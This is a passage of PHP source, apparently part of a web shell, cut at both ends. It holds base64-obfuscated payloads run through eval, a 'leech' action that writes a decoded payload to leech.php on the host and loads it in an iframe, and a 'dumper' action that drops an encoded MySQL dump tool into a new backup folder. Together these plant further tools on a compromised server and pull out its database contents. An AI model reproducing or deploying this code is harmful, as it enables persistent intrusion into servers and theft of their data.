1677ZFVTWGhqTWxGNVZGaHNiRkl5YUhGVVZ6RnZZekZyZW1KSE5XaE5WV3cxV1d0a2IxWXhUa1pqU0dS
1678VVRWVTFlVmt4VlhoV1ZrWlpXa1Z3VTFKNmJIVldSbHBUVVcxUmQyVkZVbHBOYm1oTVdsYzFUMVF4
1679UlhsYVNFcFVZVEExVTFsclVuTlNWbFpZVDFWMFVrMVZXbmxWTW5oM1YwZFdTV05IUmxaV1JVcE5W
1680VlJHUjJOc1RuSlViR3hxVFVSV1JWZHFTakJUTVVWNFVtNUtWR0pJUWxsV1J6QTFZVmRXVmxKdVZs
1681WlNWMUpMVjJwS1RtVnNWbkZXYld4VFRWWlZNVlV4WTNoVU1sSjBVMnRvVUZkSGVGRlpWbFV4WkVa
1682a2RFMVhSbWxXYmtJd1ZqRmtjMVZYUlhwVmJscFVZbGQ0VDFwV1ZURlNWbFpWV2tkc2FWWXdOWFZY
1683YTFaclltMUtWbUpFV2xwbGJFcFFXbGQ0VmsweFRsWmFSVGxwVFd4S1dsbFVTWGhUYlZaMFZGUkNW
1684V0p1UWxkVWFrcExZMFpLVldGRk1VNWhNblI1VlRJMWQyVnNVbkpVYlRWb1RVaENSVlpXWkROT1Zr
1685cEhVbTVhVkdFd05WTlphMUp6VWxaV1dFOVZkRkpOVlZwNldXdGFjbVZYUmtsWGEzQlNUV3N3TUZk
1686WWNFdFVNbFpZVW14c1VtRnJTbEpaYkZwTFRXeGtWVlJzWkd0U2JrSlpWR3hTUTFSWFNsWmpSRXBZ
1687WVRKb2VWcEdaRTVsVmxKMVlrZHNUbUp0YURaV2JYUnFUbGRSZUZGc2FGWmliSEJoVkZSR1lVMUda
1688SE5aZWtaT1VsaG9NRlV5TldGWlZrNUlaRVJHV21WcmNGQmFWbVJLWlZkV1NWUnNVbE5OVm5BelZq
1689SndTMkl3TVVkUmExSlFWMGhDWVZSVVFuZGtNV3QzWVVaS1RFMUlRVEpaZWtFeFVrWnZlV1JGZEZK
1690TlYwMHhXVlphYm1WV1pIVlViWFJZVWxSV01sVjZRazlqYXpSM1ZXeEthVTFJUWtWV1ZtUTBaRVpz
1691Y21GR1pHeGlWVnBGVjJwT1ExVkhValpSYTNoU1RWVmFlbFF4VmxOVmJVbDNZMGN4VmxaRlNrMVhi
1692WGhHVDFaQ1ZGbDZaRXBTTVZsNVYxWmtNMkl4YkhSU2JuQmhWa1pyZDFkRVNsTmlSbXQ1VDFkMFlW
1693VXlaSEpYVms1eVkwVTVOVkZUT1ZGYWVrSk1TbnB6WjFwWVdtaGlRMmhwV1ZoT2JFNXFVbVphUjFa
1694cVlqSlNiRXREVW1oTFUyczNTVVE0SzBSUmJ6MG5PeUJsZG1Gc0tHSmhjMlUyTkY5a1pXTnZaR1Vv
1695SkdFcEtUc2dQejROQ2c9PSc7IGV2YWwoYmFzZTY0X2RlY29kZSgkYSkpOyA/Pgo=
1696';
1697*/
1698$file = fopen("leech.php" ,"w+");
1699$write = fwrite ($file ,base64_decode($perltoolss));
1700fclose($file);
1701 echo "<iframe src=leech.php width=100% height=720px frameborder=0></iframe> ";
1702}//end leech
1703elseif ($action == 'dumper') {
1704$file = fopen($dir."dumper.php" ,"w+");
1705$file = mkdir("backup");
1706$file = chmod("backup",0755);
1707$perltoolss = 'PD9waHAKLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKlwKfCBTeXBleCBEdW1wZXIgTGl0ZSAgICAgICAgICB2ZXJzaW9uIDEuMC44YiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKfCAoYykyMDAzLTIwMDYgemFwaW1pciAgICAgICB6YXBpbWlyQHphcGltaXIubmV0ICAgICAgIGh0dHA6Ly9zeXBleC5uZXQvICAgIHwKfCAoYykyMDA1LTIwMDYgQklOT1ZBVE9SICAgICBpbmZvQHN5cGV4Lm5ldCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLXwKfCAgICAgY3JlYXRlZDogMjAwMy4wOS4wMiAxOTowNyAgICAgICAgICAgICAgbW9kaWZpZWQ6IDIwMDguMTIuMTQgICAgICAgICAgIHwKfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLXwKfCBUaGlzIHByb2dyYW0gaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5kL29yICAgICAgICAgICAgIHwKfCBtb2RpZnkgaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSAgICAgICAgICAgICAgIHwKfCBhcyBwdWJsaXNoZWQgYnkgdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbjsgZWl0aGVyIHZlcnNpb24gMiAgICAgICAgICAgIHwKfCBvZiB0aGUgTGljZW5zZSwgb3IgKGF0IHlvdXIgb3B0aW9uKSBhbnkgbGF0ZXIgdmVyc2lvbi4gICAgICAgICAgICAgICAgICAgIHwKfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKfCBUaGlzIHByb2dyYW0gaXMgZGlzdHJpYnV0ZWQgaW4gdGhlIGhvcGUgdGhhdCBpdCB3aWxsIGJlIHVzZWZ1bCwgICAgICAgICAgIHwKfCBidXQgV0lUSE9VVCBBTlkgV0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBvZiAgICAgICAgICAgIHwKfCBNRVJDSEFOVEFCSUxJVFkgb3IgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UuICBTZWUgdGhlICAgICAgICAgICAgIHwKfCBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBmb3IgbW9yZSBkZXRhaWxzLiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKfCBZb3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSAgICAgICAgIHwKfCBhbG9uZyB3aXRoIHRoaXMgcHJvZ3JhbTsgaWYgbm90LCB3cml0ZSB0byB0aGUgRnJlZSBTb2Z0d2FyZSAgICAgICAgICAgICAgIHwKfCBGb3VuZGF0aW9uLCBJbmMuLCA1OSBUZW1wbGUgUGxhY2UgLSBTdWl0ZSAzMzAsIEJvc3RvbiwgTUEgMDIxMTEtMTMwNyxVU0EuIHwKXCoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCi8vIHBhdGggYW5kIFVSTCB0byBiYWNrdXAgZmlsZXMKZGVmaW5lKCdQQVRIJywgJ2JhY2t1cC8nKTsKZGVmaW5lKCdVUkwnLCAgJ2JhY2t1cC8nKTsKLy8gTWF4IHRpbWUgZm9yIHRoaXMgc2NyaXB0IHdvcmsgKGluIHNlY29uZHMpCi8vIDAgLSBubyBsaW1pdApkZWZpbmUoJ1RJTUVfTElNSVQnLCA2MDApOwovLyDQntCz0YDQsNC90LjRh9C10L3QuNC1INGA0LDQt9C80LXRgNCwINC00LDQvdC90YvRhSDQtNC+0YHRgtCw0LLQsNC10LzRi9GFINC30LAg0L7QtNC90L4g0L7QsdGA0LDRidC10L3QuNGPINC6INCR0JQgKNCyINC80LXQs9Cw0LHQsNC50YLQsNGFKQovLyDQndGD0LbQvdC+INC00LvRjyDQvtCz0YDQsNC90LjRh9C10L3QuNGPINC60L7Qu9C40YfQtdGB0YLQstCwINC/0LDQvNGP0YLQuCDQv9C+0LbQuNGA0LDQtdC80L7QuSDRgdC10YDQstC10YDQvtC8INC/0YDQuCDQtNCw0LzQv9C1INC+0YfQtdC90Ywg0L7QsdGK0LXQvNC90YvRhSDRgtCw0LHQu9C40YYKZGVmaW5lKCdMSU1JVCcsIDEpOwovLyBteXNxbCBzZXJ2ZXIKZGVmaW5lKCdEQkhPU1QnLCAnbG9jYWxob3N0OjMzMDYnKTsKLy8gRGF0YWJhc2VzLiBJdCBpcyBuZWVkIGlmIHNlcnZlciBkb2VzIG5vdCBhbGxvdyBsaXN0IGRhdGFiYXNlIG5hbWVzCi8vIGFuZCBub3RoaW5nIHNob3dzIGFmdGVyIGxvZ2luLiAoc2VwYXJhdGVkIGJ5IGNvbW1hKQpkZWZpbmUoJ0RCTkFNRVMnLCAnJyk7Ci8vINCa0L7QtNC40YDQvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSBNeVNRTAovLyBhdXRvIC0g0LDQstGC0L7QvNCw0YLQuNGH0LXRgdC60LjQuSDQstGL0LHQvtGAICjRg9GB0YLQsNC90LDQstC70LjQstCw0LXRgtGB0Y8g0LrQvtC00LjRgNC+0LLQutCwINGC0LDQsdC70LjRhtGLKSwgY3AxMjUxIC0gd2luZG93cy0xMjUxLCDQuCDRgi7Qvy4KZGVmaW5lKCdDSEFSU0VUJywgJ2F1dG8nKTsKLy8g0JrQvtC00LjRgNC+0LLQutCwINGB0L7QtdC00LjQvdC10L3QuNGPINGBIE15U1FMINC/0YDQuCDQstC+0YHRgdGC0LDQvdC+0LLQu9C10L3QuNC4Ci8vINCd0LAg0YHQu9GD0YfQsNC5INC/0LXRgNC10L3QvtGB0LAg0YHQviDRgdGC0LDRgNGL0YUg0LLQtdGA0YHQuNC5IE15U1FMICjQtNC+IDQuMSksINGDINC60L7RgtC+0YDRi9GFINC90LUg0YPQutCw0LfQsNC90LAg0LrQvtC00LjRgNC+0LLQutCwINGC0LDQsdC70LjRhiDQsiDQtNCw0LzQv9C1Ci8vINCf0YDQuCDQtNC+0LHQsNCy0LvQtdC90LjQuCAnZm9yY2VkLT4nLCDQuiDQv9GA0LjQvNC10YDRgyAnZm9yY2VkLT5jcDEyNTEnLCDQutC+0LTQuNGA0L7QstC60LAg0YLQsNCx0LvQuNGGINC/0YDQuCDQstC+0YHRgdGC0LDQvdC+0LLQu9C10L3QuNC4INCx0YPQtNC10YIg0L/RgNC40L3Rg9C00LjRgtC10LvRjNC90L4g0LfQsNC80LXQvdC10L3QsCDQvdCwIGNwMTI1MQovLyDQnNC+0LbQvdC+INGC0LDQutC20LUg0YPQutCw0LfRi9Cy0LDRgtGMINGB0YDQsNCy0L3QtdC90LjQtSDQvdGD0LbQvdC+0LUg0Log0L/RgNC40LzQtdGA0YMgJ2NwMTI1MV91a3JhaW5pYW5fY2knINC40LvQuCAnZm9yY2VkLT5jcDEyNTFfdWtyYWluaWFuX2NpJwpkZWZpbmUoJ1JFU1RPUkVfQ0hBUlNFVCcsICd1dGY4X2JpbicpOwovLyBzYXZlIHNldHRpbmdzIGFuZCBsYXN0IGFjdGlvbnMKLy8gMCAtIGRpc2FibGUsIDEgLSBlbmFibGUKZGVmaW5lKCdTQycsIDEpOwovLyBUYWJsZSB0eXBlcyBmb3Igc3RvcmUgc3RydWN0IG9ubHkgKHNlcGFyYXRlZCBieSBjb21tYSkKZGVmaW5lKCdPTkxZX0NSRUFURScsICdNUkdfTXlJU0FNLE1FUkdFLEhFQVAsTUVNT1JZJyk7Ci8vIEdsb2JhbCBzdGF0cwovLyAwIC0gZGlzYWJsZSwgMSAtIGVuYWJsZQpkZWZpbmUoJ0dTJywgMCk7CgovLyBFbmQgY29uZmlndXJhdGlvbiBibG9jayAtIHN0YXJ0IGNvZGUgYmxvY2sKJGR1bXBlcl9maWxlID0gYmFzZW5hbWUoX19GSUxFX18pOwoKJGlzX3NhZmVfbW9kZSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpID09ICcxJyA/IDEgOiAwOwppZiAoISRpc19zYWZlX21vZGUgJiYgZnVuY3Rpb25fZXhpc3RzKCdzZXRfdGltZV9saW1pdCcpKSBzZXRfdGltZV9saW1pdChUSU1FX0xJTUlUKTsKCmhlYWRlcigiRXhwaXJlczogVHVlLCAxIEp1bCAyMDAzIDA1OjAwOjAwIEdNVCIpOwpoZWFkZXIoIkxhc3QtTW9kaWZpZWQ6ICIgLiBnbWRhdGUoIkQsIGQgTSBZIEg6aTpzIikgLiAiIEdNVCIpOwpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlIik7CmhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOwoKJHRpbWVyID0gYXJyYXlfc3VtKGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSkpOwpvYl9pbXBsaWNpdF9mbHVzaCgpOwplcnJvcl9yZXBvcnRpbmcoRV9BTEwpOwoKJGF1dGggPSAwOwokZXJyb3IgPSAnJzsKaWYgKCFlbXB0eSgkX1BPU1RbJ2xvZ2luJ10pICYmIGlzc2V0KCRfUE9TVFsncGFzcyddKSkgewogICAgICAgIGlmIChAbXlzcWxfY29ubmVjdChEQkhPU1QsICRfUE9TVFsnbG9naW4nXSwgJF9QT1NUWydwYXNzJ10pKXsKICAgICAgICAgICAgICAgIHNldGNvb2tpZSgic3hkIiwgYmFzZTY0X2VuY29kZSgiU0tEMTAxOnskX1BPU1RbJ2xvZ2luJ119OnskX1BPU1RbJ3Bhc3MnXX0iKSk7CiAgICAgICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAkZHVtcGVyX2ZpbGUiKTsKICAgICAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfQogICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAkZXJyb3IgPSAnIycgLiBteXNxbF9lcnJubygpIC4gJzogJyAuIG15c3FsX2Vycm9yKCk7CiAgICAgICAgfQp9CmVsc2VpZiAoIWVtcHR5KCRfQ09PS0lFWydzeGQnXSkpIHsKICAgICR1c2VyID0gZXhwbG9kZSgiOiIsIGJhc2U2NF9kZWNvZGUoJF9DT09LSUVbJ3N4ZCddKSk7CiAgICAgICAgaWYgKEBteXNxbF9jb25uZWN0KERCSE9TVCwgJHVzZXJbMV0sICR1c2VyWzJdKSl7CiAgICAgICAgICAgICAgICAkYXV0aCA9IDE7CiAgICAgICAgfQogICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAkZXJyb3IgPSAnIycgLiBteXNxbF9lcnJubygpIC4gJzogJyAuIG15c3FsX2Vycm9yKCk7CiAgICAgICAgfQp9CgppZiAoISRhdXRoIHx8IChpc3NldCgkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10pICYmICRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSA9PSAncmVsb2FkJykpIHsKICAgICAgICBzZXRjb29raWUoInN4ZCIpOwogICAgICAgIGVjaG8gdHBsX3BhZ2UodHBsX2F1dGgoJGVycm9yID8gdHBsX2Vycm9yKCRlcnJvcikgOiAnJyksICI8U0NSSVBUPmlmIChqc0VuYWJsZWQpIHtkb2N1bWVudC53cml0ZSgnPElOUFVUIFRZUEU9c3VibWl0IFZBTFVFPUFwcGx5PicpO308L1NDUklQVD4iKTsKICAgICAgICBlY2hvICI8U0NSSVBUPmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0aW1lcicpLmlubmVySFRNTCA9ICciIC4gcm91bmQoYXJyYXlfc3VtKGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSkpIC0gJHRpbWVyLCA0KSAuICIgc2VjLic8L1NDUklQVD4iOwogICAgICAgIGV4aXQ7Cn0KaWYgKCFmaWxlX2V4aXN0cyhQQVRIKSAmJiAhJGlzX3NhZmVfbW9kZSkgewogICAgbWtkaXIoUEFUSCwgMDc3NykgfHwgdHJpZ2dlcl9lcnJvcigiQ2FuJ3QgY3JlYXRlIGRpciBmb3IgYmFja3VwIiwgRV9VU0VSX0VSUk9SKTsKfQoKJFNLID0gbmV3IGR1bXBlcigpOwpkZWZpbmUoJ0NfREVGQVVMVCcsIDEpOwpkZWZpbmUoJ0NfUkVTVUxUJywgMik7CmRlZmluZSgnQ19FUlJPUicsIDMpOwpkZWZpbmUoJ0NfV0FSTklORycsIDQpOwoKJGFjdGlvbiA9IGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pID8gJF9SRVFVRVNUWydhY3Rpb24nXSA6ICcnOwpzd2l0Y2goJGFjdGlvbil7CiAgICAgICAgY2FzZSAnYmFja3VwJzoKICAgICAgICAgICAgICAgICRTSy0+YmFja3VwKCk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdyZXN0b3JlJzoKICAgICAgICAgICAgICAgICRTSy0+cmVzdG9yZSgpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICRTSy0+bWFpbigpOwp9CgpteXNxbF9jbG9zZSgpOwoKZWNobyAiPFNDUklQVD5kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndGltZXInKS5pbm5lckhUTUwgPSAnIiAuIHJvdW5kKGFycmF5X3N1bShleHBsb2RlKCcgJywgbWljcm90aW1lKCkpKSAtICR0aW1lciwgNCkgLiAiIHNlYy4nPC9TQ1JJUFQ+IjsKCmNsYXNzIGR1bXBlciB7CiAgICAgICAgZnVuY3Rpb24gZHVtcGVyKCkgewogICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKFBBVEggLiAiZHVtcGVyLmNmZy5waHAiKSkgewogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUoUEFUSCAuICJkdW1wZXIuY2ZnLnBocCIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZXsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNFVFsnbGFzdF9hY3Rpb24nXSA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2xhc3RfZGJfYmFja3VwJ10gPSAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNFVFsndGFibGVzJ10gPSAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNFVFsnY29tcF9tZXRob2QnXSA9IDI7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2NvbXBfbGV2ZWwnXSAgPSA3OwogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+U0VUWydsYXN0X2RiX3Jlc3RvcmUnXSA9ICcnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHRoaXMtPnRhYnMgPSAwOwogICAgICAgICAgICAgICAgJHRoaXMtPnJlY29yZHMgPSAwOwogICAgICAgICAgICAgICAgJHRoaXMtPnNpemUgPSAwOwogICAgICAgICAgICAgICAgJHRoaXMtPmNvbXAgPSAwOwoKICAgICAgICAgICAgICAgIC8vINCS0LXRgNGB0LjRjyBNeVNRTCDQstC40LTQsCA0MDEwMQogICAgICAgICAgICAgICAgcHJlZ19tYXRjaCgiL14oXGQrKVwuKFxkKylcLihcZCspLyIsIG15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLCAkbSk7CiAgICAgICAgICAgICAgICAkdGhpcy0+bXlzcWxfdmVyc2lvbiA9IHNwcmludGYoIiVkJTAyZCUwMmQiLCAkbVsxXSwgJG1bMl0sICRtWzNdKTsKCiAgICAgICAgICAgICAgICAkdGhpcy0+b25seV9jcmVhdGUgPSBleHBsb2RlKCcsJywgT05MWV9DUkVBVEUpOwogICAgICAgICAgICAgICAgJHRoaXMtPmZvcmNlZF9jaGFyc2V0ICA9IGZhbHNlOwogICAgICAgICAgICAgICAgJHRoaXMtPnJlc3RvcmVfY2hhcnNldCA9ICR0aGlzLT5yZXN0b3JlX2NvbGxhdGUgPSAnJzsKICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCIvXihmb3JjZWQtPik/KChbYS16MC05XSspKFxfXHcrKT8pJC8iLCBSRVNUT1JFX0NIQVJTRVQsICRtYXRjaGVzKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+Zm9yY2VkX2NoYXJzZXQgID0gJG1hdGNoZXNbMV0gPT0gJ2ZvcmNlZC0+JzsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnJlc3RvcmVfY2hhcnNldCA9ICRtYXRjaGVzWzNdOwogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cmVzdG9yZV9jb2xsYXRlID0gIWVtcHR5KCRtYXRjaGVzWzRdKSA/ICcgQ09MTEFURSAnIC4gJG1hdGNoZXNbMl0gOiAnJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGJhY2t1cCgpIHsKICAgICAgICAgICAgICAgIGlmICghaXNzZXQoJF9QT1NUKSkgeyR0aGlzLT5tYWluKCk7fQogICAgICAgICAgICAgICAgc2V0X2Vycm9yX2hhbmRsZXIoIlNYRF9lcnJvckhhbmRsZXIiKTsKICAgICAgICAgICAgICAgICRidXR0b25zID0gIjxBIElEPXNhdmUgSFJFRj0nJyBTVFlMRT0nZGlzcGxheTogbm9uZTsnPkRvd25sb2FkIGZpbGU8L0E+ICZuYnNwOyA8SU5QVVQgSUQ9YmFjayBUWVBFPWJ1dHRvbiBWQUxVRT0nQmFjaycgRElTQUJMRUQgb25DbGljaz1cImhpc3RvcnkuYmFjaygpO1wiPiI7CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9wYWdlKHRwbF9wcm9jZXNzKCJEQiBiYWNrdXAgaW4gcHJvZ3Jlc3MiKSwgJGJ1dHRvbnMpOwoKICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2xhc3RfYWN0aW9uJ10gICAgID0gMDsKICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2xhc3RfZGJfYmFja3VwJ10gID0gaXNzZXQoJF9QT1NUWydkYl9iYWNrdXAnXSkgPyAkX1BPU1RbJ2RiX2JhY2t1cCddIDogJyc7CiAgICAgICAgICAgICAgICAkdGhpcy0+U0VUWyd0YWJsZXNfZXhjbHVkZSddICA9ICFlbXB0eSgkX1BPU1RbJ3RhYmxlcyddKSAmJiAkX1BPU1RbJ3RhYmxlcyddezB9ID09ICdeJyA/IDEgOiAwOwogICAgICAgICAgICAgICAgJHRoaXMtPlNFVFsndGFibGVzJ10gICAgICAgICAgPSBpc3NldCgkX1BPU1RbJ3RhYmxlcyddKSA/ICRfUE9TVFsndGFibGVzJ10gOiAnJzsKICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gICAgID0gaXNzZXQoJF9QT1NUWydjb21wX21ldGhvZCddKSA/IGludHZhbCgkX1BPU1RbJ2NvbXBfbWV0aG9kJ10pIDogMDsKICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2NvbXBfbGV2ZWwnXSAgICAgID0gaXNzZXQoJF9QT1NUWydjb21wX2xldmVsJ10pID8gaW50dmFsKCRfUE9TVFsnY29tcF9sZXZlbCddKSA6IDA7CiAgICAgICAgICAgICAgICAkdGhpcy0+Zm5fc2F2ZSgpOwoKICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ3RhYmxlcyddICAgICAgICAgID0gZXhwbG9kZSgiLCIsICR0aGlzLT5TRVRbJ3RhYmxlcyddKTsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWyd0YWJsZXMnXSkpIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCR0aGlzLT5TRVRbJ3RhYmxlcyddIEFTICR0YWJsZSl7CiAgICAgICAgICAgICAgICAgICAgICAgICR0YWJsZSA9IHByZWdfcmVwbGFjZSgiL1teXHcqP15dLyIsICIiLCAkdGFibGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuID0gYXJyYXkoICIvXD8vIiwgIi9cKi8iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVwbGFjZSA9IGFycmF5KCAiLiIsICIuKj8iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGJsc1tdID0gcHJlZ19yZXBsYWNlKCRwYXR0ZXJuLCAkcmVwbGFjZSwgJHRhYmxlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ3RhYmxlc19leGNsdWRlJ10gPSAxOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+U0VUWydjb21wX2xldmVsJ10gPT0gMCkgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gPSAwOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGRiID0gJHRoaXMtPlNFVFsnbGFzdF9kYl9iYWNrdXAnXTsKCiAgICAgICAgICAgICAgICBpZiAoISRkYikgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCLQntCo0JjQkdCa0JAhINCd0LUg0YPQutCw0LfQsNC90LAg0LHQsNC30LAg0LTQsNC90L3Ri9GFISIsIENfRVJST1IpOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9lbmFibGVCYWNrKCk7CiAgICAgICAgICAgICAgICAgICAgZXhpdDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gdHBsX2woIkNvbm5lY3Rpb24gdG8gREIgYHskZGJ9YC4iKTsKICAgICAgICAgICAgICAgIG15c3FsX3NlbGVjdF9kYigkZGIpIG9yIHRyaWdnZXJfZXJyb3IgKCLQndC1INGD0LTQsNC10YLRgdGPINCy0YvQsdGA0LDRgtGMINCx0LDQt9GDINC00LDQvdC90YvRhS48QlI+IiAuIG15c3FsX2Vycm9yKCksIEVfVVNFUl9FUlJPUik7CiAgICAgICAgICAgICAgICAkdGFibGVzID0gYXJyYXkoKTsKICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgVEFCTEVTIik7CiAgICAgICAgICAgICAgICAkYWxsID0gMDsKICAgICAgICB3aGlsZSgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHN0YXR1cyA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHRibHMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCR0YmxzIEFTICR0YWJsZSl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGV4Y2x1ZGUgPSBwcmVnX21hdGNoKCIvXlxeLyIsICR0YWJsZSkgPyB0cnVlIDogZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkZXhjbHVkZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goIi9eeyR0YWJsZX0kL2kiLCAkcm93WzBdKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdGF0dXMgPSAxOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFsbCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZXhjbHVkZSAmJiBwcmVnX21hdGNoKCIveyR0YWJsZX0kL2kiLCAkcm93WzBdKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3RhdHVzID0gLTE7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0YXR1cyA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRzdGF0dXMgPj0gJGFsbCkgewogICAgICAgICAgICAgICAgICAgICAgICAkdGFibGVzW10gPSAkcm93WzBdOwogICAgICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgICAgICAgICAkdGFicyA9IGNvdW50KCR0YWJsZXMpOwogICAgICAgICAgICAgICAgLy8g0J7Qv9GA0LXQtNC10LvQtdC90LjQtSDRgNCw0LfQvNC10YDQvtCyINGC0LDQsdC70LjRhgogICAgICAgICAgICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFIFNUQVRVUyIpOwogICAgICAgICAgICAgICAgJHRhYmluZm8gPSBhcnJheSgpOwogICAgICAgICAgICAgICAgJHRhYl9jaGFyc2V0ID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICR0YWJfdHlwZSA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAkdGFiaW5mb1swXSA9IDA7CiAgICAgICAgICAgICAgICAkaW5mbyA9ICcnOwogIC